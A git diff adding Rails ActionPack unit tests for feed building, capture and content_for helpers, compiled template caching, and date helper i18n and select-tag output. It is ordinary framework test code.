+ get :index, :id => 'feed_with_xml_processing_instructions_duplicate_targets'
+ assert_match %r{<\?target1 (a="1" b="2"|b="2" a="1")\?>}, @response.body
+ assert_match %r{<\?target1 (c="3" d="4"|d="4" c="3")\?>}, @response.body
+ end
+ end
+
+ def test_feed_xhtml
+ with_restful_routing(:scrolls) do
+ get :index, :id => "feed_with_xhtml_content"
+ assert_match %r{xmlns="http://www.w3.org/1999/xhtml"}, @response.body
+ assert_select "summary div p", :text => "Something Boring"
+ assert_select "summary div p", :text => "after 2"
+ end
+ end
+
+ def test_feed_entry_type_option_default_to_text_html
+ with_restful_routing(:scrolls) do
+ get :index, :id => 'defaults'
+ assert_select "entry link[rel=alternate][type=text/html]"
+ end
+ end
+
+ def test_feed_entry_type_option_specified
+ with_restful_routing(:scrolls) do
+ get :index, :id => 'entry_type_options'
+ assert_select "entry link[rel=alternate][type=text/xml]"
+ end
+ end
+
+ private
+ def with_restful_routing(resources)
+ with_routing do |set|
+ set.draw do
+ resources(resources)
+ end
+ yield
+ end
+ end
+end
diff --git a/actionpack/test/template/capture_helper_test.rb b/actionpack/test/template/capture_helper_test.rb
new file mode 100644
index 0000000..938f1c3
--- /dev/null
+++ b/actionpack/test/template/capture_helper_test.rb
@@ -0,0 +1,242 @@
+require 'abstract_unit'
+
+class CaptureHelperTest < ActionView::TestCase
+ def setup
+ super
+ @av = ActionView::Base.new
+ @view_flow = ActionView::OutputFlow.new
+ end
+
+ def test_capture_captures_the_temporary_output_buffer_in_its_block
+ assert_nil @av.output_buffer
+ string = @av.capture do
+ @av.output_buffer << 'foo'
+ @av.output_buffer << 'bar'
+ end
+ assert_nil @av.output_buffer
+ assert_equal 'foobar', string
+ end
+
+ def test_capture_captures_the_value_returned_by_the_block_if_the_temporary_buffer_is_blank
+ string = @av.capture('foo', 'bar') do |a, b|
+ a + b
+ end
+ assert_equal 'foobar', string
+ end
+
+ def test_capture_returns_nil_if_the_returned_value_is_not_a_string
+ assert_nil @av.capture { 1 }
+ end
+
+ def test_capture_escapes_html
+ string = @av.capture { '<em>bar</em>' }
+ assert_equal '<em>bar</em>', string
+ end
+
+ def test_capture_doesnt_escape_twice
+ string = @av.capture { '<em>bar</em>'.html_safe }
+ assert_equal '<em>bar</em>', string
+ end
+
+ def test_capture_used_for_read
+ content_for :foo, "foo"
+ assert_equal "foo", content_for(:foo)
+
+ content_for(:bar){ "bar" }
+ assert_equal "bar", content_for(:bar)
+ end
+
+ def test_content_for_with_multiple_calls
+ assert ! content_for?(:title)
+ content_for :title, 'foo'
+ content_for :title, 'bar'
+ assert_equal 'foobar', content_for(:title)
+ end
+
+ def test_content_for_with_multiple_calls_and_flush
+ assert ! content_for?(:title)
+ content_for :title, 'foo'
+ content_for :title, 'bar', flush: true
+ assert_equal 'bar', content_for(:title)
+ end
+
+ def test_content_for_with_block
+ assert ! content_for?(:title)
+ content_for :title do
+ output_buffer << 'foo'
+ output_buffer << 'bar'
+ nil
+ end
+ assert_equal 'foobar', content_for(:title)
+ end
+
+ def test_content_for_with_block_and_multiple_calls_with_flush
+ assert ! content_for?(:title)
+ content_for :title do
+ 'foo'
+ end
+ content_for :title, flush: true do
+ 'bar'
+ end
+ assert_equal 'bar', content_for(:title)
+ end
+
+ def test_content_for_with_block_and_multiple_calls_with_flush_nil_content
+ assert ! content_for?(:title)
+ content_for :title do
+ 'foo'
+ end
+ content_for :title, nil, flush: true do
+ 'bar'
+ end
+ assert_equal 'bar', content_for(:title)
+ end
+
+ def test_content_for_with_block_and_multiple_calls_without_flush
+ assert ! content_for?(:title)
+ content_for :title do
+ 'foo'
+ end
+ content_for :title, flush: false do
+ 'bar'
+ end
+ assert_equal 'foobar', content_for(:title)
+ end
+
+ def test_content_for_with_whitespace_block
+ assert ! content_for?(:title)
+ content_for :title, 'foo'
+ content_for :title do
+ output_buffer << " \n "
+ nil
+ end
+ content_for :title, 'bar'
+ assert_equal 'foobar', content_for(:title)
+ end
+
+ def test_content_for_with_whitespace_block_and_flush
+ assert ! content_for?(:title)
+ content_for :title, 'foo'
+ content_for :title, flush: true do
+ output_buffer << " \n "
+ nil
+ end
+ content_for :title, 'bar', flush: true
+ assert_equal 'bar', content_for(:title)
+ end
+
+ def test_content_for_returns_nil_when_writing
+ assert ! content_for?(:title)
+ assert_equal nil, content_for(:title, 'foo')
+ assert_equal nil, content_for(:title) { output_buffer << 'bar'; nil }
+ assert_equal nil, content_for(:title) { output_buffer << " \n "; nil }
+ assert_equal 'foobar', content_for(:title)
+ assert_equal nil, content_for(:title, 'foo', flush: true)
+ assert_equal nil, content_for(:title, flush: true) { output_buffer << 'bar'; nil }
+ assert_equal nil, content_for(:title, flush: true) { output_buffer << " \n "; nil }
+ assert_equal 'bar', content_for(:title)
+ end
+
+ def test_content_for_returns_nil_when_content_missing
+ assert_equal nil, content_for(:some_missing_key)
+ end
+
+ def test_content_for_question_mark
+ assert ! content_for?(:title)
+ content_for :title, 'title'
+ assert content_for?(:title)
+ assert ! content_for?(:something_else)
+ end
+
+ def test_provide
+ assert !content_for?(:title)
+ provide :title, "hi"
+ assert content_for?(:title)
+ assert_equal "hi", content_for(:title)
+ provide :title, "<p>title</p>"
+ assert_equal "hi<p>title</p>", content_for(:title)
+
+ @view_flow = ActionView::OutputFlow.new
+ provide :title, "hi"
+ provide :title, "<p>title</p>".html_safe
+ assert_equal "hi<p>title</p>", content_for(:title)
+ end
+
+ def test_with_output_buffer_swaps_the_output_buffer_given_no_argument
+ assert_nil @av.output_buffer
+ buffer = @av.with_output_buffer do
+ @av.output_buffer << '.'
+ end
+ assert_equal '.', buffer
+ assert_nil @av.output_buffer
+ end
+
+ def test_with_output_buffer_swaps_the_output_buffer_with_an_argument
+ assert_nil @av.output_buffer
+ buffer = ActionView::OutputBuffer.new('.')
+ @av.with_output_buffer(buffer) do
+ @av.output_buffer << '.'
+ end
+ assert_equal '..', buffer
+ assert_nil @av.output_buffer
+ end
+
+ def test_with_output_buffer_restores_the_output_buffer
+ buffer = ActionView::OutputBuffer.new
+ @av.output_buffer = buffer
+ @av.with_output_buffer do
+ @av.output_buffer << '.'
+ end
+ assert buffer.equal?(@av.output_buffer)
+ end
+
+ def test_with_output_buffer_sets_proper_encoding
+ @av.output_buffer = ActionView::OutputBuffer.new
+
+ # Ensure we set the output buffer to an encoding different than the default one.
+ alt_encoding = alt_encoding(@av.output_buffer)
+ @av.output_buffer.force_encoding(alt_encoding)
+
+ @av.with_output_buffer do
+ assert_equal alt_encoding, @av.output_buffer.encoding
+ end
+ end
+
+ def test_with_output_buffer_does_not_assume_there_is_an_output_buffer
+ assert_nil @av.output_buffer
+ assert_equal "", @av.with_output_buffer {}
+ end
+
+ def test_flush_output_buffer_concats_output_buffer_to_response
+ view = view_with_controller
+ assert_equal [], view.response.body_parts
+
+ view.output_buffer << 'OMG'
+ view.flush_output_buffer
+ assert_equal ['OMG'], view.response.body_parts
+ assert_equal '', view.output_buffer
+
+ view.output_buffer << 'foobar'
+ view.flush_output_buffer
+ assert_equal ['OMG', 'foobar'], view.response.body_parts
+ assert_equal '', view.output_buffer
+ end
+
+ def test_flush_output_buffer_preserves_the_encoding_of_the_output_buffer
+ view = view_with_controller
+ alt_encoding = alt_encoding(view.output_buffer)
+ view.output_buffer.force_encoding(alt_encoding)
+ flush_output_buffer
+ assert_equal alt_encoding, view.output_buffer.encoding
+ end
+
+ def alt_encoding(output_buffer)
+ output_buffer.encoding == Encoding::US_ASCII ? Encoding::UTF_8 : Encoding::US_ASCII
+ end
+
+ def view_with_controller
+ TestController.new.view_context.tap do |view|
+ view.output_buffer = ActionView::OutputBuffer.new
+ end
+ end
+end
diff --git a/actionpack/test/template/compiled_templates_test.rb b/actionpack/test/template/compiled_templates_test.rb
new file mode 100644
index 0000000..f5dc2fb
--- /dev/null
+++ b/actionpack/test/template/compiled_templates_test.rb
@@ -0,0 +1,63 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class CompiledTemplatesTest < ActiveSupport::TestCase
+ def setup
+ # Clean up any details key cached to expose failures
+ # that otherwise would appear just on isolated tests
+ ActionView::LookupContext::DetailsKey.clear
+
+ @compiled_templates = ActionView::CompiledTemplates
+ @compiled_templates.instance_methods.each do |m|
+ @compiled_templates.send(:remove_method, m) if m =~ /^_render_template_/
+ end
+ end
+
+ def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
+ assert_equal "one", render(:file => "test/render_file_with_locals_and_default")
+ assert_equal "two", render(:file => "test/render_file_with_locals_and_default", :locals => { :secret => "two" })
+ end
+
+ def test_template_changes_are_not_reflected_with_cached_templates
+ assert_equal "Hello world!", render(:file => "test/hello_world")
+ modify_template "test/hello_world.erb", "Goodbye world!" do
+ assert_equal "Hello world!", render(:file => "test/hello_world")
+ end
+ assert_equal "Hello world!", render(:file => "test/hello_world")
+ end
+
+ def test_template_changes_are_reflected_with_uncached_templates
+ assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
+ modify_template "test/hello_world.erb", "Goodbye world!" do
+ assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world")
+ end
+ assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
+ end
+
+ private
+ def render(*args)
+ render_with_cache(*args)
+ end
+
+ def render_with_cache(*args)
+ view_paths = ActionController::Base.view_paths
+ ActionView::Base.new(view_paths, {}).render(*args)
+ end
+
+ def render_without_cache(*args)
+ path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+ view_paths = ActionView::PathSet.new([path])
+ ActionView::Base.new(view_paths, {}).render(*args)
+ end
+
+ def modify_template(template, content)
+ filename = "#{FIXTURE_LOAD_PATH}/#{template}"
+ old_content = File.read(filename)
+ begin
+ File.open(filename, "wb+") { |f| f.write(content) }
+ yield
+ ensure
+ File.open(filename, "wb+") { |f| f.write(old_content) }
+ end
+ end
+end
diff --git a/actionpack/test/template/date_helper_i18n_test.rb b/actionpack/test/template/date_helper_i18n_test.rb
new file mode 100644
index 0000000..21fca35
--- /dev/null
+++ b/actionpack/test/template/date_helper_i18n_test.rb
@@ -0,0 +1,148 @@
+require 'abstract_unit'
+
+class DateHelperDistanceOfTimeInWordsI18nTests < ActiveSupport::TestCase
+ include ActionView::Helpers::DateHelper
+ attr_reader :request
+
+ def setup
+ @from = Time.utc(2004, 6, 6, 21, 45, 0)
+ end
+
+ # distance_of_time_in_words
+
+ def test_distance_of_time_in_words_calls_i18n
+ { # with include_seconds
+ [2.seconds, { :include_seconds => true }] => [:'less_than_x_seconds', 5],
+ [9.seconds, { :include_seconds => true }] => [:'less_than_x_seconds', 10],
+ [19.seconds, { :include_seconds => true }] => [:'less_than_x_seconds', 20],
+ [30.seconds, { :include_seconds => true }] => [:'half_a_minute', nil],
+ [59.seconds, { :include_seconds => true }] => [:'less_than_x_minutes', 1],
+ [60.seconds, { :include_seconds => true }] => [:'x_minutes', 1],
+
+ # without include_seconds
+ [29.seconds, { :include_seconds => false }] => [:'less_than_x_minutes', 1],
+ [60.seconds, { :include_seconds => false }] => [:'x_minutes', 1],
+ [44.minutes, { :include_seconds => false }] => [:'x_minutes', 44],
+ [61.minutes, { :include_seconds => false }] => [:'about_x_hours', 1],
+ [24.hours, { :include_seconds => false }] => [:'x_days', 1],
+ [30.days, { :include_seconds => false }] => [:'about_x_months', 1],
+ [60.days, { :include_seconds => false }] => [:'x_months', 2],
+ [1.year, { :include_seconds => false }] => [:'about_x_years', 1],
+ [3.years + 6.months, { :include_seconds => false }] => [:'over_x_years', 3],
+ [3.years + 10.months, { :include_seconds => false }] => [:'almost_x_years', 4]
+
+ }.each do |passed, expected|
+ assert_distance_of_time_in_words_translates_key passed, expected
+ end
+ end
+
+ def test_distance_of_time_in_words_calls_i18n_with_custom_scope
+ {
+ [30.days, { scope: :'datetime.distance_in_words_ago' }] => [:'about_x_months', 1],
+ [60.days, { scope: :'datetime.distance_in_words_ago' }] => [:'x_months', 2],
+ }.each do |passed, expected|
+ assert_distance_of_time_in_words_translates_key(passed, expected, scope: :'datetime.distance_in_words_ago')
+ end
+ end
+
+ def test_time_ago_in_words_passes_locale
+ I18n.expects(:t).with(:less_than_x_minutes, :scope => :'datetime.distance_in_words', :count => 1, :locale => 'ru')
+ time_ago_in_words(15.seconds.ago, :locale => 'ru')
+ end
+
+ def test_distance_of_time_pluralizations
+ { [:'less_than_x_seconds', 1] => 'less than 1 second',
+ [:'less_than_x_seconds', 2] => 'less than 2 seconds',
+ [:'less_than_x_minutes', 1] => 'less than a minute',
+ [:'less_than_x_minutes', 2] => 'less than 2 minutes',
+ [:'x_minutes', 1] => '1 minute',
+ [:'x_minutes', 2] => '2 minutes',
+ [:'about_x_hours', 1] => 'about 1 hour',
+ [:'about_x_hours', 2] => 'about 2 hours',
+ [:'x_days', 1] => '1 day',
+ [:'x_days', 2] => '2 days',
+ [:'about_x_years', 1] => 'about 1 year',
+ [:'about_x_years', 2] => 'about 2 years',
+ [:'over_x_years', 1] => 'over 1 year',
+ [:'over_x_years', 2] => 'over 2 years'
+
+ }.each do |args, expected|
+ key, count = *args
+ assert_equal expected, I18n.t(key, :count => count, :scope => 'datetime.distance_in_words')
+ end
+ end
+
+ def assert_distance_of_time_in_words_translates_key(passed, expected, expected_options = {})
+ diff, passed_options = *passed
+ key, count = *expected
+ to = @from + diff
+
+ options = { locale: 'en', scope: :'datetime.distance_in_words' }.merge!(expected_options)
+ options[:count] = count if count
+
+ I18n.expects(:t).with(key, options)
+ distance_of_time_in_words(@from, to, passed_options.merge(locale: 'en'))
+ end
+end
+
+class DateHelperSelectTagsI18nTests < ActiveSupport::TestCase
+ include ActionView::Helpers::DateHelper
+ attr_reader :request
+
+ def setup
+ @prompt_defaults = {:year => 'Year', :month => 'Month', :day => 'Day', :hour => 'Hour', :minute => 'Minute', :second => 'Seconds'}
+
+ I18n.stubs(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
+ end
+
+ # select_month
+
+ def test_select_month_given_use_month_names_option_does_not_translate_monthnames
+ I18n.expects(:translate).never
+ select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES)
+ end
+
+ def test_select_month_translates_monthnames
+ I18n.expects(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
+ select_month(8, :locale => 'en')
+ end
+
+ def test_select_month_given_use_short_month_option_translates_abbr_monthnames
+ I18n.expects(:translate).with(:'date.abbr_month_names', :locale => 'en').returns Date::ABBR_MONTHNAMES
+ select_month(8, :locale => 'en', :use_short_month => true)
+ end
+
+ def test_date_or_time_select_translates_prompts
+ @prompt_defaults.each do |key, prompt|
+ I18n.expects(:translate).with(('datetime.prompts.' + key.to_s).to_sym, :locale => 'en').returns prompt
+ end
+
+ I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns %w(year month day)
+ datetime_select('post', 'updated_at', :locale => 'en', :include_seconds => true, :prompt => true)
+ end
+
+ # date_or_time_select
+
+ def test_date_or_time_select_given_an_order_options_does_not_translate_order
+ I18n.expects(:translate).never
+ datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en')
+ end
+
+ def test_date_or_time_select_given_no_order_options_translates_order
+ I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns %w(year month day)
+ datetime_select('post', 'updated_at', :locale => 'en')
+ end
+
+ def test_date_or_time_select_given_invalid_order
+ I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns %w(invalid month day)
+
+ assert_raise StandardError do
+ datetime_select('post', 'updated_at', :locale => 'en')
+ end
+ end
+
+ def test_date_or_time_select_given_symbol_keys
+ I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns [:year, :month, :day]
+ datetime_select('post', 'updated_at', :locale => 'en')
+ end
+end
diff --git a/actionpack/test/template/date_helper_test.rb b/actionpack/test/template/date_helper_test.rb
new file mode 100644
index 0000000..242b56a
--- /dev/null
+++ b/actionpack/test/template/date_helper_test.rb
@@ -0,0 +1,3199 @@
+require 'abstract_unit'
+
+class DateHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::DateHelper
+
+ silence_warnings do
+ Post = Struct.new("Post", :id, :written_on, :updated_at)
+ Post.class_eval do
+ def id
+ 123
+ end
+ def id_before_type_cast
+ 123
+ end
+ def to_param
+ '123'
+ end
+ end
+ end
+
+ def assert_distance_of_time_in_words(from, to=nil)
+ Fixnum.send :private, :/ # test we avoid Integer#/ (redefined by mathn)
+
+ to ||= from
+
+ # 0..1 minute with :include_seconds => true
+ assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => true)
+ assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => true)
+ assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => true)
+ assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => true)
+ assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => true)
+ assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => true)
+ assert_equal "half a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => true)
+ assert_equal "half a minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => true)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => true)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => true)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => true)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => true)
+
+ # 0..1 minute with :include_seconds => false
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => false)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => false)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => false)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => false)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => false)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => false)
+
+ # Note that we are including a 30-second boundary around the interval we
+ # want to test. For instance, "1 minute" is actually 30s to 1m29s. The
+ # reason for doing this is simple -- in `distance_of_time_to_words`, when we
+ # take the distance between our two Time objects in seconds and convert it
+ # to minutes, we round the number. So 29s gets rounded down to 0m, 30s gets
+ # rounded up to 1m, and 1m29s gets rounded down to 1m. A similar thing
+ # happens with the other cases.
+
+ # First case 0..1 minute
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 29.seconds)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 30.seconds)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 1.minutes + 29.seconds)
+
+ # 2 minutes up to 45 minutes
+ assert_equal "2 minutes", distance_of_time_in_words(from, to + 1.minutes + 30.seconds)
+ assert_equal "44 minutes", distance_of_time_in_words(from, to + 44.minutes + 29.seconds)
+
+ # 45 minutes up to 90 minutes
+ assert_equal "about 1 hour", distance_of_time_in_words(from, to + 44.minutes + 30.seconds)
+ assert_equal "about 1 hour", distance_of_time_in_words(from, to + 89.minutes + 29.seconds)
+
+ # 90 minutes up to 24 hours
+ assert_equal "about 2 hours", distance_of_time_in_words(from, to + 89.minutes + 30.seconds)
+ assert_equal "about 24 hours", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 29.seconds)
+
+ # 24 hours up to 42 hours
+ assert_equal "1 day", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 30.seconds)
+ assert_equal "1 day", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 29.seconds)
+
+ # 42 hours up to 30 days
+ assert_equal "2 days", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 30.seconds)
+ assert_equal "3 days", distance_of_time_in_words(from, to + 2.days + 12.hours)
+ assert_equal "30 days", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 29.seconds)
+
+ # 30 days up to 60 days
+ assert_equal "about 1 month", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 30.seconds)
+ assert_equal "about 1 month", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 29.seconds)
+ assert_equal "about 2 months", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 30.seconds)
+ assert_equal "about 2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 29.seconds)
+
+ # 60 days up to 365 days
+ assert_equal "2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 30.seconds)
+ assert_equal "12 months", distance_of_time_in_words(from, to + 1.years - 31.seconds)
+
+ # >= 365 days
+ assert_equal "about 1 year", distance_of_time_in_words(from, to + 1.years - 30.seconds)
+ assert_equal "about 1 year", distance_of_time_in_words(from, to + 1.years + 3.months - 1.day)
+ assert_equal "over 1 year", distance_of_time_in_words(from, to + 1.years + 6.months)
+
+ assert_equal "almost 2 years", distance_of_time_in_words(from, to + 2.years - 3.months + 1.day)
+ assert_equal "about 2 years", distance_of_time_in_words(from, to + 2.years + 3.months - 1.day)
+ assert_equal "over 2 years", distance_of_time_in_words(from, to + 2.years + 3.months + 1.day)
+ assert_equal "over 2 years", distance_of_time_in_words(from, to + 2.years + 9.months - 1.day)
+ assert_equal "almost 3 years", distance_of_time_in_words(from, to + 2.years + 9.months + 1.day)
+
+ assert_equal "almost 5 years", distance_of_time_in_words(from, to + 5.years - 3.months + 1.day)
+ assert_equal "about 5 years", distance_of_time_in_words(from, to + 5.years + 3.months - 1.day)
+ assert_equal "over 5 years", distance_of_time_in_words(from, to + 5.years + 3.months + 1.day)
+ assert_equal "over 5 years", distance_of_time_in_words(from, to + 5.years + 9.months - 1.day)
+ assert_equal "almost 6 years", distance_of_time_in_words(from, to + 5.years + 9.months + 1.day)
+
+ assert_equal "almost 10 years", distance_of_time_in_words(from, to + 10.years - 3.months + 1.day)
+ assert_equal "about 10 years", distance_of_time_in_words(from, to + 10.years + 3.months - 1.day)
+ assert_equal "over 10 years", distance_of_time_in_words(from, to + 10.years + 3.months + 1.day)
+ assert_equal "over 10 years", distance_of_time_in_words(from, to + 10.years + 9.months - 1.day)
+ assert_equal "almost 11 years", distance_of_time_in_words(from, to + 10.years + 9.months + 1.day)
+
+ # test to < from
+ assert_equal "about 4 hours", distance_of_time_in_words(from + 4.hours, to)
+ assert_equal "less than 20 seconds", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => true)
+ assert_equal "less than a minute", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => false)
+
+ ensure
+ Fixnum.send :public, :/
+ end
+
+ def test_distance_in_words
+ from = Time.utc(2004, 6, 6, 21, 45, 0)
+ assert_distance_of_time_in_words(from)
+ end
+
+ def test_time_ago_in_words_passes_include_seconds
+ assert_equal "less than 20 seconds", time_ago_in_words(15.seconds.ago, :include_seconds => true)
+ assert_equal "less than a minute", time_ago_in_words(15.seconds.ago, :include_seconds => false)
+ end
+
+ def test_distance_in_words_with_time_zones
+ from = Time.mktime(2004, 6, 6, 21, 45, 0)
+ assert_distance_of_time_in_words(from.in_time_zone('Alaska'))
+ assert_distance_of_time_in_words(from.in_time_zone('Hawaii'))
+ end
+
+ def test_distance_in_words_with_different_time_zones
+ from = Time.mktime(2004, 6, 6, 21, 45, 0)
+ assert_distance_of_time_in_words(
+ from.in_time_zone('Alaska'),
+ from.in_time_zone('Hawaii')
+ )
+ end
+
+ def test_distance_in_words_with_dates
+ start_date = Date.new 1975, 1, 31
+ end_date = Date.new 1977, 1, 31
+ assert_equal("about 2 years", distance_of_time_in_words(start_date, end_date))
+
+ start_date = Date.new 1982, 12, 3
+ end_date = Date.new 2010, 11, 30
+ assert_equal("almost 28 years", distance_of_time_in_words(start_date, end_date))
+ assert_equal("almost 28 years", distance_of_time_in_words(end_date, start_date))
+ end
+
+ def test_distance_in_words_with_integers
+ assert_equal "1 minute", distance_of_time_in_words(59)
+ assert_equal "about 1 hour", distance_of_time_in_words(60*60)
+ assert_equal "1 minute", distance_of_time_in_words(0, 59)
+ assert_equal "about 1 hour", distance_of_time_in_words(60*60, 0)
+ assert_equal "about 3 years", distance_of_time_in_words(10**8)
+ assert_equal "about 3 years", distance_of_time_in_words(0, 10**8)
+ end
+
+ def test_distance_in_words_with_times
+ assert_equal "1 minute", distance_of_time_in_words(30.seconds)
+ assert_equal "1 minute", distance_of_time_in_words(59.seconds)
+ assert_equal "2 minutes", distance_of_time_in_words(119.seconds)
+ assert_equal "2 minutes", distance_of_time_in_words(1.minute + 59.seconds)
+ assert_equal "3 minutes", distance_of_time_in_words(2.minute + 30.seconds)
+ assert_equal "44 minutes", distance_of_time_in_words(44.minutes + 29.seconds)
+ assert_equal "about 1 hour", distance_of_time_in_words(44.minutes + 30.seconds)
+ assert_equal "about 1 hour", distance_of_time_in_words(60.minutes)
+
+ # include seconds
+ assert_equal "half a minute", distance_of_time_in_words(39.seconds, 0, :include_seconds => true)
+ assert_equal "less than a minute", distance_of_time_in_words(40.seconds, 0, :include_seconds => true)
+ assert_equal "less than a minute", distance_of_time_in_words(59.seconds, 0, :include_seconds => true)
+ assert_equal "1 minute", distance_of_time_in_words(60.seconds, 0, :include_seconds => true)
+ end
+
+ def test_time_ago_in_words
+ assert_equal "about 1 year", time_ago_in_words(1.year.ago - 1.day)
+ end
+
+ def test_select_day
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16))
+ assert_dom_equal expected, select_day(16)
+ end
+
+ def test_select_day_with_blank
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="1 [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), :include_blank => true)
+ assert_dom_equal expected, select_day(16, :include_blank => true)
+ end
+
+ def test_select_day_nil_with_blank
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="1 [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(nil, :include_blank => true)
+ end
+
+ def test_select_day_with_two_digit_numbers
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value="1">01</option>\n<option selected="selected" value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value=" [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(Time.mktime(2011, 8, 2), :use_two_digit_numbers => true)
+ assert_dom_equal expected, select_day(2, :use_two_digit_numbers => true)
+ end
+
+ def test_select_day_with_html_options
+ expected = %(<select id="date_day" name="date[day]" class="selector">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), {}, :class => 'selector')
+ assert_dom_equal expected, select_day(16, {}, :class => 'selector')
+ end
+
+ def test_select_day_with_default_prompt
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
+ expected << "</select>\n"
+
